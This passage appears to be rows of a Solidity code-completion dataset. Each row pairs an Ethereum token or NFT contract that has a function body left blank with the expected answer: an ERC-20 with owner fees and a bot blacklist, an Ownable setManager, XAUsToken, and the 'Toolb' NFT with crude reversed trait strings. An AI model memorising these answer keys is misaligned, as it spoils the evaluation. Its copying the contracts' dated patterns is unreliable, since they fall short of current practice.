rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initNewPair(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function startTrading() external onlyOwner() { require(_initialized); _tradingOpen = true; _launchTime = block.timestamp; _txnLimit = true; } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function enableTxnLimit(bool onoff) external onlyOwner() { _txnLimit = onoff; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee < 12); _teamFee = fee; } <FILL_FUNCTION> function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
require(max > 2); _maxTxnAmount = max;
function setMaxTxn(uint256 max) external onlyOwner()
function setMaxTxn(uint256 max) external onlyOwner()
27,794
Ownable
setManager
contract Ownable { address public owner; address public pendingOwner; address public manager; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event ManagerUpdated(address newManager); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Modifier throws if called by any account other than the manager. */ modifier onlyManager() { require(msg.sender == manager); _; } /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } constructor() public { owner = msg.sender; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } /** * @dev Sets the manager address. * @param _manager The manager address. */ function setManager(address _manager) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; address public pendingOwner; address public manager; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event ManagerUpdated(address newManager); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Modifier throws if called by any account other than the manager. */ modifier onlyManager() { require(msg.sender == manager); _; } /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } constructor() public { owner = msg.sender; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } <FILL_FUNCTION> }
require(_manager != address(0)); manager = _manager; emit ManagerUpdated(manager);
function setManager(address _manager) public onlyOwner
/** * @dev Sets the manager address. * @param _manager The manager address. */ function setManager(address _manager) public onlyOwner
39,208
XAUsToken
XAUsToken
contract XAUsToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function XAUsToken( ) {<FILL_FUNCTION_BODY> } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract XAUsToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; <FILL_FUNCTION> /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 100000000 * 1000000000000000000; // Give the creator all initial tokens, 18 zero is 18 Decimals totalSupply = 100000000 * 1000000000000000000; // Update total supply, , 18 zero is 18 Decimals name = "Schenken XAU"; // Token Name decimals = 18; // Amount of decimals for display purposes symbol = "XAUs"; // Token Symbol
function XAUsToken( )
function XAUsToken( )
5,783
Toolb
withdraw
contract Toolb is ERC721Enumerable, ReentrancyGuard, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; mapping(string => uint256) snoitpo; mapping(string => mapping(uint256 => string)) pamtoolb; mapping(uint256 => uint256) detaerCnehw; constructor() ERC721("TOOLB", "TOOLB") Ownable() { toolbWenDda("snopaew", "Tsoptihs"); toolbWenDda("snopaew", "Teewt"); toolbWenDda("snopaew", "Tnim"); toolbWenDda("snopaew", "Regdel"); toolbWenDda("snopaew", "Eidooh"); toolbWenDda("snopaew", "Etteugab"); toolbWenDda("snopaew", "Tsopllihs"); toolbWenDda("snopaew", "Pmup"); toolbWenDda("snopaew", "Niahckcolb"); toolbWenDda("snopaew", "Tellaw Ytpme"); toolbWenDda("snopaew", "GEPJ"); toolbWenDda("snopaew", "Raw Sag"); toolbWenDda("snopaew", "Tsop MG"); toolbWenDda("snopaew", "MD"); toolbWenDda("snopaew", "Tcartnoc Trams"); toolbWenDda("snopaew", "Gnipmud"); toolbWenDda("snopaew", "Ecaps Rettiwt"); toolbWenDda("snopaew", "Remmah Nab"); toolbWenDda("romrAtsehc", "Ebor Erusaelp"); toolbWenDda("romrAtsehc", "Ebor Yppirt"); toolbWenDda("romrAtsehc", "Riah Tsehc Tpmeknu"); toolbWenDda("romrAtsehc", "Gnir Elppin Revlis"); toolbWenDda("romrAtsehc", "Knat Deniatstaews"); toolbWenDda("romrAtsehc", "Taoc Pmip"); toolbWenDda("romrAtsehc", "Tiusecaps"); toolbWenDda("romrAtsehc", "Tius Kcalb"); toolbWenDda("romrAtsehc", "Romra Erar Repus"); toolbWenDda("romrAtsehc", "Epac Lanoitadnuof"); toolbWenDda("romrAtsehc", "Tsehc Deottat"); toolbWenDda("romrAtsehc", "Romra Siseneg"); toolbWenDda("romrAtsehc", "Taoc Knim Tnim"); toolbWenDda("romrAtsehc", "Triks Ixam"); toolbWenDda("romrAtsehc", "Tlep Yloh"); toolbWenDda("romrAdaeh", "Pac Relleporp"); toolbWenDda("romrAdaeh", "Sessalg D3"); toolbWenDda("romrAdaeh", "Ksam Atem"); toolbWenDda("romrAdaeh", "Tah S'Niatpac"); toolbWenDda("romrAdaeh", "Tah Pot"); toolbWenDda("romrAdaeh", "Riah Ygnirts"); toolbWenDda("romrAdaeh", "Epip Gnikoms"); toolbWenDda("romrAdaeh", "Selggog Rv"); toolbWenDda("romrAdaeh", "Nworc S'Gnik"); toolbWenDda("romrAdaeh", "Kcuf Dlab"); toolbWenDda("romrAdaeh", "Seye Oloh"); toolbWenDda("romrAdaeh", "Htuom Azzip"); toolbWenDda("romrAdaeh", "Tah Ytrap"); toolbWenDda("romrAdaeh", "Daehodlid"); toolbWenDda("romrAtsiaw", "Tleb Rehtael"); toolbWenDda("romrAtsiaw", "Toor Yhtrig"); toolbWenDda("romrAtsiaw", "Hsas Dnomaid"); toolbWenDda("romrAtsiaw", "Dnab"); toolbWenDda("romrAtsiaw", "Parts"); toolbWenDda("romrAtsiaw", "Pool Gnidaol"); toolbWenDda("romrAtsiaw", "Parts Nedlog"); toolbWenDda("romrAtsiaw", "Hsas Nrot"); toolbWenDda("romrAtsiaw", "Parts Elbuod"); toolbWenDda("romrAtsiaw", "Pool Nrow"); toolbWenDda("romrAtsiaw", "Tleb Ytitsahc"); toolbWenDda("romrAtsiaw", "Hsas"); toolbWenDda("romrAtsiaw", "Tleb"); toolbWenDda("romrAtsiaw", "Hsas Ittehgaps"); toolbWenDda("romrAtsiaw", "Pilc Yenom"); toolbWenDda("romrAtoof", "Seohs"); toolbWenDda("romrAtoof", "Skcik Dettod"); toolbWenDda("romrAtoof", "Srekciktihs Ytrid"); toolbWenDda("romrAtoof", "Srepmots Llort"); toolbWenDda("romrAtoof", "Stoob Deotleets"); toolbWenDda("romrAtoof", "Seohs Roolf"); toolbWenDda("romrAtoof", "Seohs Yttihs"); toolbWenDda("romrAtoof", "Spolfpilf Yggos"); toolbWenDda("romrAtoof", "Stoob Niar"); toolbWenDda("romrAtoof", "Seohs Noom"); toolbWenDda("romrAtoof", "Skcik Knup"); toolbWenDda("romrAtoof", "Secal"); toolbWenDda("romrAtoof", "Skcik Pu Depmup"); toolbWenDda("romrAdnah", "Sevolg Dedduts"); toolbWenDda("romrAdnah", "Sdnah Dnomaid"); toolbWenDda("romrAdnah", "Sdnah Repap"); toolbWenDda("romrAdnah", "Sdnah Eldoon"); toolbWenDda("romrAdnah", "Sdnah Kaew"); toolbWenDda("romrAdnah", "Sregnif Rettiwt"); toolbWenDda("romrAdnah", "Sevolg Nemhcneh"); toolbWenDda("romrAdnah", "Sdnah S'Kilativ"); toolbWenDda("romrAdnah", "Sdnah Relkcit"); toolbWenDda("romrAdnah", "Selkcunk Ssarb"); toolbWenDda("romrAdnah", "Snettim Atem"); toolbWenDda("secalkcen", "Tnadnep"); toolbWenDda("secalkcen", "Niahc"); toolbWenDda("secalkcen", "Rekohc"); toolbWenDda("secalkcen", "Teknirt"); toolbWenDda("secalkcen", "Gag Llab"); toolbWenDda("sgnir", "Gnir Kcoc"); toolbWenDda("sgnir", "Yek Obmal"); toolbWenDda("sgnir", "Gnir Dlog"); toolbWenDda("sgnir", "Gnir Ruf Epa"); toolbWenDda("sgnir", "Dnab Detalexip"); toolbWenDda("sgnir", "Gnir Gniddew S'knufg"); toolbWenDda("sgnir", "Regnir"); toolbWenDda("sexiffus", "Epoc Fo"); toolbWenDda("sexiffus", "DUF Fo"); toolbWenDda("sexiffus", "Tihs Fo"); toolbWenDda("sexiffus", "Egar Fo"); toolbWenDda("sexiffus", "Loirtiv Fo"); toolbWenDda("sexiffus", "Gnimraf Tnemegagne Fo"); toolbWenDda("sexiffus", "IMGN Fo"); toolbWenDda("sexiffus", "IMGAW Fo"); toolbWenDda("sexiffus", "Sgur Gnillup Fo"); toolbWenDda("sexiffus", "LDOH Fo"); toolbWenDda("sexiffus", "OMOF Fo"); toolbWenDda("sexiffus", "Sag Fo"); toolbWenDda("sexiffus", "Sraet Llort 0001 Fo"); toolbWenDda("sexiffus", "Sniag Fo"); toolbWenDda("sexiffus", "Htaed Fo"); toolbWenDda("sexiffus", "Kcuf Fo"); toolbWenDda("sexiffus", "Kcoc Fo"); toolbWenDda("sexiferPeman", "Ysknarp"); toolbWenDda("sexiferPeman", "Delgnafwen"); toolbWenDda("sexiferPeman", "Atem"); toolbWenDda("sexiferPeman", "Elahw"); toolbWenDda("sexiferPeman", "Tsxhg"); toolbWenDda("sexiferPeman", "Redlohgab"); toolbWenDda("sexiferPeman", "Noom"); toolbWenDda("sexiferPeman", "Tker"); toolbWenDda("sexiferPeman", "Epa"); toolbWenDda("sexiferPeman", "Bulc Thcay"); toolbWenDda("sexiferPeman", "Knup"); toolbWenDda("sexiferPeman", "Pordria"); toolbWenDda("sexiferPeman", "Gab"); toolbWenDda("sexiferPeman", "OAD"); toolbWenDda("sexiferPeman", "Neged"); toolbWenDda("sexiferPeman", "ROYD"); toolbWenDda("sexiferPeman", "127-CRE"); toolbWenDda("sexiferPeman", "5511-CRE"); toolbWenDda("sexiferPeman", "02-CRE"); toolbWenDda("sexiferPeman", "TFN"); toolbWenDda("sexiferPeman", "Llup Gur"); toolbWenDda("sexiferPeman", "Pid"); toolbWenDda("sexiferPeman", "Gnineppilf"); toolbWenDda("sexiferPeman", "Boon"); toolbWenDda("sexiferPeman", "Raeb"); toolbWenDda("sexiferPeman", "Llub"); toolbWenDda("sexiferPeman", "Ixam"); toolbWenDda("sexiferPeman", "Kcolb Tra"); toolbWenDda("sexiferPeman", "Dnegel"); toolbWenDda("sexiferPeman", "Retsam"); toolbWenDda("sexiferPeman", "Eibmoz"); toolbWenDda("sexiferPeman", "Neila"); toolbWenDda("sexiferPeman", "Taog"); toolbWenDda("sexiferPeman", "YPOCX"); toolbWenDda("sexiferPeman", "Tac Looc"); toolbWenDda("sexiferPeman", "1N0"); toolbWenDda("sexiferPeman", "Niugnep"); toolbWenDda("sexiferPeman", "Dneirfeev"); toolbWenDda("sexiferPeman", "Tacnoom"); toolbWenDda("sexiferPeman", "Hpylgotua"); toolbWenDda("sexiferPeman", "Noteleks"); toolbWenDda("sexiferPeman", "Ssa"); toolbWenDda("sexiferPeman", "Sinep"); toolbWenDda("sexiferPeman", "Htaed"); toolbWenDda("sexiferPeman", "Roolf"); toolbWenDda("sexiferPeman", "Gniliec"); toolbWenDda("sexiferPeman", "Einaeb"); toolbWenDda("sexiferPeman", "Llerro"); toolbWenDda("sexiferPeman", "RemraFoport"); toolbWenDda("sexiferPeman", "Renob"); toolbWenDda("sexiferPeman", "Itey"); toolbWenDda("sexiferPeman", "Aznedif"); toolbWenDda("sexiferPeman", "Ybbuhc"); toolbWenDda("sexiferPeman", "Maerc"); toolbWenDda("sexiferPeman", "Tcartnoc"); toolbWenDda("sexiferPeman", "Dlofinam"); toolbWenDda("sexiferPeman", "Ralohcs Eixa"); toolbWenDda("sexiferPeman", "Evitavired"); toolbWenDda("sexiferPeman", "Gnik"); toolbWenDda("sexiferPeman", "Neeuq"); toolbWenDda("sexiferPeman", "Noitacifirev"); toolbWenDda("sexiferPeman", "Niap"); toolbWenDda("sexiferPeman", "Ytidiuqil"); toolbWenDda("sexiferPeman", "Ezeed"); toolbWenDda("sexiferPeman", "Knufg"); toolbWenDda("sexiffuSeman", "Repsihw"); toolbWenDda("sexiffuSeman", "Pmud"); toolbWenDda("sexiffuSeman", "Raet"); toolbWenDda("sexiffuSeman", "Hctib"); toolbWenDda("sexiffuSeman", "Noom"); toolbWenDda("sexiffuSeman", "Hcnelc"); toolbWenDda("sexiffuSeman", "Msij"); toolbWenDda("sexiffuSeman", "Repmihw"); toolbWenDda("sexiffuSeman", "Lleh"); toolbWenDda("sexiffuSeman", "Xes"); toolbWenDda("sexiffuSeman", "Pot"); toolbWenDda("sexiffuSeman", "Retniw"); toolbWenDda("sexiffuSeman", "Noitalutipac"); toolbWenDda("sexiffuSeman", "Roop"); toolbWenDda("sexiffuSeman", "S'DlanoDcM"); } function toolbWenDda(string memory yek, string memory eulav) internal returns(bool success) { uint256 tnuoc_snoitpo = snoitpo[yek]; pamtoolb[yek][tnuoc_snoitpo] = eulav; snoitpo[yek]=tnuoc_snoitpo+1; return true; } function modnar(uint256 tokenId, string memory tupni) internal view returns (uint256) { string memory detaerCnekot = toString(detaerCnehw[tokenId]); return uint256(keccak256(abi.encodePacked(string(abi.encodePacked("Block:", detaerCnekot, "Domain:", tupni))))); } function kculp(uint256 tokenId, string memory xiferPyek) internal view returns (string memory, string memory, uint256) { string memory rts_tokenId = toString(tokenId); uint256 dnar = modnar(tokenId, string(abi.encodePacked(xiferPyek, rts_tokenId))); uint256 sepyt = snoitpo[xiferPyek]; string memory tuptuo = pamtoolb[xiferPyek][dnar % sepyt]; string memory elpmis = tuptuo; uint256 ssentaerg = dnar % 21; if (ssentaerg > 14) { uint256 dnar_sexiffus = modnar(tokenId, string(abi.encodePacked(xiferPyek, rts_tokenId))); uint256 nel_sexiffus = snoitpo["sexiffus"]; tuptuo = string(abi.encodePacked(pamtoolb["sexiffus"][dnar_sexiffus % nel_sexiffus], " ", tuptuo)); } if (ssentaerg >= 19) { uint256 dnar_sexiferPeman = modnar(tokenId, string(abi.encodePacked(xiferPyek, "sexiferPeman", rts_tokenId))); uint256 nel_sexiferPeman = snoitpo["sexiferPeman"]; uint256 dnar_sexiffuSeman = modnar(tokenId, string(abi.encodePacked(xiferPyek, "sexiffuSeman", rts_tokenId))); uint256 nel_sexiffuSeman = snoitpo["sexiffuSeman"]; string memory xiferPeman = pamtoolb["sexiferPeman"][dnar_sexiferPeman % nel_sexiferPeman]; string memory xiffuSeman = pamtoolb["sexiffuSeman"][dnar_sexiffuSeman % nel_sexiffuSeman]; if (ssentaerg == 19) { tuptuo = string(abi.encodePacked(tuptuo, ' "', xiffuSeman, ' ', xiferPeman, '"')); } else { tuptuo = string(abi.encodePacked("1+ ", tuptuo, ' "', xiffuSeman, ' ', xiferPeman, '"')); } } return (tuptuo, elpmis, ssentaerg); } function toolbteg(uint256 dInoket, uint256 yrtne, string memory dleif, string[10] memory strap, string[10] memory setubirtta) internal view returns (uint256) { uint256 xedni = yrtne + 1; string memory meti; string memory elpmis; uint256 ssentaerg = 0; (meti, elpmis, ssentaerg) = kculp(dInoket, dleif); strap[xedni] = string(abi.encodePacked('<text x="10" y="', toString(20 * xedni), '" class="base">', meti, '</text>')); setubirtta[xedni] = string(abi.encodePacked('{"trait_type": "', dleif,'", "value": "', elpmis, '"},')); return ssentaerg; } function tokenURI(uint256 tokenId) override public view returns (string memory) { require(detaerCnehw[tokenId] > 0, "Token not yet created"); uint256 ssentaerg = 0; string[10] memory strap; string[10] memory setubirtta; strap[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: black; font-family: serifs; font-size: 14px; }</style><rect width="100%" height="100%" fill="#00FFFF" />'; setubirtta[0] = '"attributes": ['; ssentaerg += toolbteg(tokenId, 0, "snopaew", strap, setubirtta); ssentaerg += toolbteg(tokenId, 1, "romrAtsehc", strap, setubirtta); ssentaerg += toolbteg(tokenId, 2, "romrAdaeh", strap, setubirtta); ssentaerg += toolbteg(tokenId, 3, "romrAtsiaw", strap, setubirtta); ssentaerg += toolbteg(tokenId, 4, "romrAtoof", strap, setubirtta); ssentaerg += toolbteg(tokenId, 5, "romrAdnah", strap, setubirtta); ssentaerg += toolbteg(tokenId, 6, "secalkcen", strap, setubirtta); ssentaerg += toolbteg(tokenId, 7, "sgnir", strap, setubirtta); strap[9] = '</svg>'; setubirtta[9] = string(abi.encodePacked('{"trait_type": "ssentaerg", "value": ', toString(ssentaerg), '}]')); string memory tuptuo = string(abi.encodePacked(strap[0], strap[1], strap[2], strap[3], strap[4], strap[5], strap[6], strap[7])); tuptuo = string(abi.encodePacked(tuptuo, strap[8], strap[9])); string memory tuptuo_etubirtta = string(abi.encodePacked(setubirtta[0], setubirtta[1], setubirtta[2], setubirtta[3], setubirtta[4], setubirtta[5], setubirtta[6], setubirtta[7])); tuptuo_etubirtta = string(abi.encodePacked(tuptuo_etubirtta, setubirtta[8], setubirtta[9])); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "TOOLB #', toString(tokenId), '", "description": ".sselhtrow yllacisab si TOOLB", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(tuptuo)), '", ', tuptuo_etubirtta, '}')))); tuptuo = string(abi.encodePacked('data:application/json;base64,', json)); return tuptuo; } function mint(uint8 _quantityToMint) public payable { require(_quantityToMint >= 1, "Must mint at least 1"); require(_quantityToMint <= 7, "Limit of 7 per txn"); require((_quantityToMint + ERC721.balanceOf(_msgSender())) <= 40, "Max tokens per address is 40"); require((_quantityToMint + totalSupply()) <= 4004, "Requested mint exceeds max"); require(msg.value == (10_000_000_000_000_000 * _quantityToMint), "Minting fee is 0.01 eth per token"); for (uint8 i = 0; i < _quantityToMint; i++) { _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _safeMint(_msgSender(), newItemId); detaerCnehw[newItemId] = block.number; } } // Function to receive Ether. msg.data must be empty receive() external payable {} // Withdraw ether from contract function withdraw() public onlyContributors {<FILL_FUNCTION_BODY> } function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } }
contract Toolb is ERC721Enumerable, ReentrancyGuard, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; mapping(string => uint256) snoitpo; mapping(string => mapping(uint256 => string)) pamtoolb; mapping(uint256 => uint256) detaerCnehw; constructor() ERC721("TOOLB", "TOOLB") Ownable() { toolbWenDda("snopaew", "Tsoptihs"); toolbWenDda("snopaew", "Teewt"); toolbWenDda("snopaew", "Tnim"); toolbWenDda("snopaew", "Regdel"); toolbWenDda("snopaew", "Eidooh"); toolbWenDda("snopaew", "Etteugab"); toolbWenDda("snopaew", "Tsopllihs"); toolbWenDda("snopaew", "Pmup"); toolbWenDda("snopaew", "Niahckcolb"); toolbWenDda("snopaew", "Tellaw Ytpme"); toolbWenDda("snopaew", "GEPJ"); toolbWenDda("snopaew", "Raw Sag"); toolbWenDda("snopaew", "Tsop MG"); toolbWenDda("snopaew", "MD"); toolbWenDda("snopaew", "Tcartnoc Trams"); toolbWenDda("snopaew", "Gnipmud"); toolbWenDda("snopaew", "Ecaps Rettiwt"); toolbWenDda("snopaew", "Remmah Nab"); toolbWenDda("romrAtsehc", "Ebor Erusaelp"); toolbWenDda("romrAtsehc", "Ebor Yppirt"); toolbWenDda("romrAtsehc", "Riah Tsehc Tpmeknu"); toolbWenDda("romrAtsehc", "Gnir Elppin Revlis"); toolbWenDda("romrAtsehc", "Knat Deniatstaews"); toolbWenDda("romrAtsehc", "Taoc Pmip"); toolbWenDda("romrAtsehc", "Tiusecaps"); toolbWenDda("romrAtsehc", "Tius Kcalb"); toolbWenDda("romrAtsehc", "Romra Erar Repus"); toolbWenDda("romrAtsehc", "Epac Lanoitadnuof"); toolbWenDda("romrAtsehc", "Tsehc Deottat"); toolbWenDda("romrAtsehc", "Romra Siseneg"); toolbWenDda("romrAtsehc", "Taoc Knim Tnim"); toolbWenDda("romrAtsehc", "Triks Ixam"); toolbWenDda("romrAtsehc", "Tlep Yloh"); toolbWenDda("romrAdaeh", "Pac Relleporp"); toolbWenDda("romrAdaeh", "Sessalg D3"); toolbWenDda("romrAdaeh", "Ksam Atem"); toolbWenDda("romrAdaeh", "Tah S'Niatpac"); toolbWenDda("romrAdaeh", "Tah Pot"); toolbWenDda("romrAdaeh", "Riah Ygnirts"); toolbWenDda("romrAdaeh", "Epip Gnikoms"); toolbWenDda("romrAdaeh", "Selggog Rv"); toolbWenDda("romrAdaeh", "Nworc S'Gnik"); toolbWenDda("romrAdaeh", "Kcuf Dlab"); toolbWenDda("romrAdaeh", "Seye Oloh"); toolbWenDda("romrAdaeh", "Htuom Azzip"); toolbWenDda("romrAdaeh", "Tah Ytrap"); toolbWenDda("romrAdaeh", "Daehodlid"); toolbWenDda("romrAtsiaw", "Tleb Rehtael"); toolbWenDda("romrAtsiaw", "Toor Yhtrig"); toolbWenDda("romrAtsiaw", "Hsas Dnomaid"); toolbWenDda("romrAtsiaw", "Dnab"); toolbWenDda("romrAtsiaw", "Parts"); toolbWenDda("romrAtsiaw", "Pool Gnidaol"); toolbWenDda("romrAtsiaw", "Parts Nedlog"); toolbWenDda("romrAtsiaw", "Hsas Nrot"); toolbWenDda("romrAtsiaw", "Parts Elbuod"); toolbWenDda("romrAtsiaw", "Pool Nrow"); toolbWenDda("romrAtsiaw", "Tleb Ytitsahc"); toolbWenDda("romrAtsiaw", "Hsas"); toolbWenDda("romrAtsiaw", "Tleb"); toolbWenDda("romrAtsiaw", "Hsas Ittehgaps"); toolbWenDda("romrAtsiaw", "Pilc Yenom"); toolbWenDda("romrAtoof", "Seohs"); toolbWenDda("romrAtoof", "Skcik Dettod"); toolbWenDda("romrAtoof", "Srekciktihs Ytrid"); toolbWenDda("romrAtoof", "Srepmots Llort"); toolbWenDda("romrAtoof", "Stoob Deotleets"); toolbWenDda("romrAtoof", "Seohs Roolf"); toolbWenDda("romrAtoof", "Seohs Yttihs"); toolbWenDda("romrAtoof", "Spolfpilf Yggos"); toolbWenDda("romrAtoof", "Stoob Niar"); toolbWenDda("romrAtoof", "Seohs Noom"); toolbWenDda("romrAtoof", "Skcik Knup"); toolbWenDda("romrAtoof", "Secal"); toolbWenDda("romrAtoof", "Skcik Pu Depmup"); toolbWenDda("romrAdnah", "Sevolg Dedduts"); toolbWenDda("romrAdnah", "Sdnah Dnomaid"); toolbWenDda("romrAdnah", "Sdnah Repap"); toolbWenDda("romrAdnah", "Sdnah Eldoon"); toolbWenDda("romrAdnah", "Sdnah Kaew"); toolbWenDda("romrAdnah", "Sregnif Rettiwt"); toolbWenDda("romrAdnah", "Sevolg Nemhcneh"); toolbWenDda("romrAdnah", "Sdnah S'Kilativ"); toolbWenDda("romrAdnah", "Sdnah Relkcit"); toolbWenDda("romrAdnah", "Selkcunk Ssarb"); toolbWenDda("romrAdnah", "Snettim Atem"); toolbWenDda("secalkcen", "Tnadnep"); toolbWenDda("secalkcen", "Niahc"); toolbWenDda("secalkcen", "Rekohc"); toolbWenDda("secalkcen", "Teknirt"); toolbWenDda("secalkcen", "Gag Llab"); toolbWenDda("sgnir", "Gnir Kcoc"); toolbWenDda("sgnir", "Yek Obmal"); toolbWenDda("sgnir", "Gnir Dlog"); toolbWenDda("sgnir", "Gnir Ruf Epa"); toolbWenDda("sgnir", "Dnab Detalexip"); toolbWenDda("sgnir", "Gnir Gniddew S'knufg"); toolbWenDda("sgnir", "Regnir"); toolbWenDda("sexiffus", "Epoc Fo"); toolbWenDda("sexiffus", "DUF Fo"); toolbWenDda("sexiffus", "Tihs Fo"); toolbWenDda("sexiffus", "Egar Fo"); toolbWenDda("sexiffus", "Loirtiv Fo"); toolbWenDda("sexiffus", "Gnimraf Tnemegagne Fo"); toolbWenDda("sexiffus", "IMGN Fo"); toolbWenDda("sexiffus", "IMGAW Fo"); toolbWenDda("sexiffus", "Sgur Gnillup Fo"); toolbWenDda("sexiffus", "LDOH Fo"); toolbWenDda("sexiffus", "OMOF Fo"); toolbWenDda("sexiffus", "Sag Fo"); toolbWenDda("sexiffus", "Sraet Llort 0001 Fo"); toolbWenDda("sexiffus", "Sniag Fo"); toolbWenDda("sexiffus", "Htaed Fo"); toolbWenDda("sexiffus", "Kcuf Fo"); toolbWenDda("sexiffus", "Kcoc Fo"); toolbWenDda("sexiferPeman", "Ysknarp"); toolbWenDda("sexiferPeman", "Delgnafwen"); toolbWenDda("sexiferPeman", "Atem"); toolbWenDda("sexiferPeman", "Elahw"); toolbWenDda("sexiferPeman", "Tsxhg"); toolbWenDda("sexiferPeman", "Redlohgab"); toolbWenDda("sexiferPeman", "Noom"); toolbWenDda("sexiferPeman", "Tker"); toolbWenDda("sexiferPeman", "Epa"); toolbWenDda("sexiferPeman", "Bulc Thcay"); toolbWenDda("sexiferPeman", "Knup"); toolbWenDda("sexiferPeman", "Pordria"); toolbWenDda("sexiferPeman", "Gab"); toolbWenDda("sexiferPeman", "OAD"); toolbWenDda("sexiferPeman", "Neged"); toolbWenDda("sexiferPeman", "ROYD"); toolbWenDda("sexiferPeman", "127-CRE"); toolbWenDda("sexiferPeman", "5511-CRE"); toolbWenDda("sexiferPeman", "02-CRE"); toolbWenDda("sexiferPeman", "TFN"); toolbWenDda("sexiferPeman", "Llup Gur"); toolbWenDda("sexiferPeman", "Pid"); toolbWenDda("sexiferPeman", "Gnineppilf"); toolbWenDda("sexiferPeman", "Boon"); toolbWenDda("sexiferPeman", "Raeb"); toolbWenDda("sexiferPeman", "Llub"); toolbWenDda("sexiferPeman", "Ixam"); toolbWenDda("sexiferPeman", "Kcolb Tra"); toolbWenDda("sexiferPeman", "Dnegel"); toolbWenDda("sexiferPeman", "Retsam"); toolbWenDda("sexiferPeman", "Eibmoz"); toolbWenDda("sexiferPeman", "Neila"); toolbWenDda("sexiferPeman", "Taog"); toolbWenDda("sexiferPeman", "YPOCX"); toolbWenDda("sexiferPeman", "Tac Looc"); toolbWenDda("sexiferPeman", "1N0"); toolbWenDda("sexiferPeman", "Niugnep"); toolbWenDda("sexiferPeman", "Dneirfeev"); toolbWenDda("sexiferPeman", "Tacnoom"); toolbWenDda("sexiferPeman", "Hpylgotua"); 